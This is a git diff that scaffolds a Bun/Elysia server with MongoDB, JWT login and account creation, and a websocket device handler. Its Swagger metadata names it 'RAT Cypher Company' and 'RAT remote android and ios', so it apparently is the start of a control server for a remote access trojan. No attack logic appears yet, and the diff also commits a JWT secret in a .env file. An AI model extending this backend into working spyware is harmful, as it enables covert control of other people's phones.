diff --git a/.env b/.env new file mode 100644 index 0000000..7e2d1c0 --- /dev/null +++ b/.env @@ -0,0 +1,3 @@ +PORT_SERVER=3000 +JWT_SECRET=FnESrpC4GrFFLcBcz4eFN8 +MONGODB_URI=mongodb://127.0.0.1:29000/?directConnection=true&serverSelectionTimeoutMS=2000&appName=mongosh+2.1.1 \ No newline at end of file diff --git a/bun.lockb b/bun.lockb new file mode 100755 index 0000000..7014f5a Binary files /dev/null and b/bun.lockb differ diff --git a/package.json b/package.json index c427aa5..09230de 100644 --- a/package.json +++ b/package.json @@ -2,11 +2,20 @@ "name": "app", "version": "1.0.50", "scripts": { - "test": "echo \"Error: no test specified\" && exit 1", - "dev": "bun run --watch src/index.ts" + "dev": "bun --watch src/index.js", + "build": "bun build src/index.js", + "start": "NODE_ENV=production bun src/index.js", + "test": "bun test" }, "dependencies": { - "elysia": "latest" + "@elysiajs/cors": "^0.8.0", + "@elysiajs/jwt": "^0.8.0", + "@elysiajs/swagger": "^0.8.3", + "@grotto/logysia": "^0.1.1", + "bcrypt": "^5.1.1", + "elysia": "latest", + "elysia-helmet": "^1.0.2", + "mongoose": "^8.1.0" }, "devDependencies": { "bun-types": "latest" diff --git a/src/config/mongo.js b/src/config/mongo.js new file mode 100644 index 0000000..e2d6a0a --- /dev/null +++ b/src/config/mongo.js @@ -0,0 +1,7 @@ +import mongoose from 'mongoose'; + +// Connect to the MongoDB database +const mongoDBURI = process.env.MONGODB_URI ?? 'mongodb://localhost:27017'; + +mongoose.connect(mongoDBURI); +export default mongoose; \ No newline at end of file diff --git a/src/index.js b/src/index.js new file mode 100644 index 0000000..e3815c6 --- /dev/null +++ b/src/index.js @@ -0,0 +1,72 @@ +import { Elysia, t } from "elysia"; +import { swagger } from '@elysiajs/swagger'; +import { cors } from '@elysiajs/cors'; +import { helmet } from 'elysia-helmet'; +import { jwt } from '@elysiajs/jwt'; +import { logger } from '@grotto/logysia'; +import './config/mongo'; + +import { isAuthenticatedHttp, isAuthenticatedWS } from './middleware/jwt'; +// Routers +import authRouter from './modules/auth'; +import userRouter from './modules/user'; + +// Ws +import { getDevices } from './ws/device'; + +const app = new Elysia() + .use(swagger({ + documentation: { + info: { + title: "RAT Cypher Company", + version: '1.0.0', + contact: { + name: '@kohdev', + url: 'https://t.me/kohdev' + }, + description: "RAT remote android and ios", + license: { + name: "MIT" + } + } + }, + version: '1.0.0' + })) + .use(cors(/* your options */)) + .use(helmet({ /* your options */ })) + .use(logger()) + .use( + jwt({ + name: 'jwt', + secret: process.env.JWT_SECRET, + }) + ) + .get('/', () => { + return `Elysia is running at ${app.server?.hostname}:${app.server?.port}`; + }) + // ws dùng hệ thống auth riêng nên không phải đặt trước onBeforeHandle auth của http + .ws('/ws', { + body: t.Object({ + type: t.String(), + d: t.String(), + }), + message(ws, message) { + switch(message.type) { + case 'get-device': + getDevices(ws, message.d); + } + }, + maxPayloadLength: 1024 * 1024, // 1 MB + beforeHandle: ({ headers, jwt, set, store }) => isAuthenticatedWS({ headers, jwt, set, store }), + }) + // không auth + .use(authRouter) + // auth middleware + .onBeforeHandle(isAuthenticatedHttp) + // từ router này về sau sẽ được auth + .use(userRouter) + .listen(process.env.PORT_SERVER); + +console.log( + `🦊 Elysia is running at ${app.server?.hostname}:${app.server?.port}` +); diff --git a/src/index.ts b/src/index.ts deleted file mode 100644 index 9c1f7a1..0000000 --- a/src/index.ts +++ /dev/null @@ -1,7 +0,0 @@ -import { Elysia } from "elysia"; - -const app = new Elysia().get("/", () => "Hello Elysia").listen(3000); - -console.log( - `🦊 Elysia is running at ${app.server?.hostname}:${app.server?.port}` -); diff --git a/src/middleware/jwt.js b/src/middleware/jwt.js new file mode 100644 index 0000000..e69ef41 --- /dev/null +++ b/src/middleware/jwt.js @@ -0,0 +1,40 @@ +import UserModel from '../models/User'; + +async function isAuthenticatedHttp({ headers, jwt, set }) { + const token = (headers.authorization || "").split(" "); + + if (!token[1]) { + set.status = 401; + return { + ok: 0, + e: "Unauthorized", + } + } + const { userId } = await jwt.verify(token[1]); + if (!userId) { + set.status = 401; + return { + ok: 0, + e: "Unauthorized", + } + } + const userByID = await UserModel.findById(userId).lean(); + set.user = userByID; + return { + user: userByID, + }; +} +async function isAuthenticatedWS({ headers, jwt, set, store }) { + const token = (headers.authorization || "").split(" "); + + if (token[1]) { + const { userId } = await jwt.verify(token[1]); + const userByID = await UserModel.findById(userId).lean(); + store.user = userByID; + return; + } + set.status = 401; + throw new Error("Unauthorized WS") +} + +export { isAuthenticatedHttp, isAuthenticatedWS } \ No newline at end of file diff --git a/src/models/User.js b/src/models/User.js new file mode 100644 index 0000000..a6a1940 --- /dev/null +++ b/src/models/User.js @@ -0,0 +1,21 @@ +import { Schema, model } from 'mongoose'; + +const schema = new Schema( + { + username: { + type: String, + required: true, + unique: true, + }, + password: { + type: String, + required: true, + select: false, // will not appear in the response + }, + }, + { + timestamps: true, + } +); + +export default model('user', schema); \ No newline at end of file diff --git a/src/modules/auth.js b/src/modules/auth.js new file mode 100644 index 0000000..6c8f2cb --- /dev/null +++ b/src/modules/auth.js @@ -0,0 +1,62 @@ +import { Elysia, t } from 'elysia'; +import bcrypt from 'bcrypt'; +import UserModel from '../models/User'; + +const SALTROUNDS = 10; + +const auth = new Elysia({ prefix: '/api/auth' }) + .guard( + { + body: t.Object({ + username: t.String(), + password: t.String(), + }) + }, + (app) => app + .post('/createAccount', async ({ body, jwt, set }) => { + const { username, password } = body; + const passwordHash = bcrypt.hashSync(password, SALTROUNDS); + const userCreated = await new UserModel({ username, password: passwordHash }).save(); + if (userCreated) { + const accessToken = await jwt.sign({ + userId: userCreated._id + }); + set.headers = { + 'X-Authorization': accessToken, + }; + set.status = 201; + return { ok: 1 }; + } + }, { + beforeHandle: async ({ body, set }) => { + const { username } = body; + const isAccountCreated = await UserModel.exists({ username }); + if (isAccountCreated) { + set.status = 400; + return { + ok: 0, + e: "Tên tài khoản đã tồn tại" + } + } + } + }) + .post("/login", async ({ body, set, jwt }) => { + const { username, password } = body; + const passwordByUsername = await UserModel.findOne({ username }).select('password').lean(); + const isValidPassword = bcrypt.compareSync(password, passwordByUsername?.password); + if (!isValidPassword) { + return { + ok: 0, + e: "Tên tài khoản hoặc mật khẩu không chính xác" + } + } + const accessToken = await jwt.sign({ + userId: passwordByUsername._id + }); + set.headers = { + 'X-Authorization': accessToken, + }; + return { ok: 1 }; + }) + ); +export default auth; \ No newline at end of file diff --git a/src/modules/user.js b/src/modules/user.js new file mode 100644 index 0000000..30c9e3f --- /dev/null +++ b/src/modules/user.js @@ -0,0 +1,11 @@ +import { Elysia, t } from 'elysia'; + +const user = new Elysia({ prefix: '/api/user' }) + .get("/me", ({ user }) => { + return { + ok: 1, + d: user, + } + }); + +export default user; \ No newline at end of file diff --git a/src/ws/device.js b/src/ws/device.js new file mode 100644 index 0000000..3ef0049 --- /dev/null +++ b/src/ws/device.js @@ -0,0 +1,7 @@ +async function getDevices(ws, d) { + const { data: { store } } = ws; + console.log(store); + ws.send({ d }); +} + +export { getDevices }; \ No newline at end of file